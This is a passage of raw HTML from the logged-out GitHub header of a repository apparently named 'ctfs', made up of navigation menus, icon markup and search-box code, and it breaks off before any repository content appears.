<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="494162197" data-scoped-search-url="/lukaszhandy/ctfs/search" data-owner-scoped-search-url="/users/lukaszhandy/search" data-unscoped-search-url="/search" data-turbo="false" action="/lukaszhandy/ctfs/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="F9mbwKrJnMBQjbSorqYPZ9jImtHdKKvZAuQVxfKKnIj05mTMq4iU95vw3loHglIvHe0owmDbdiTDsAMMR1MZEg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" 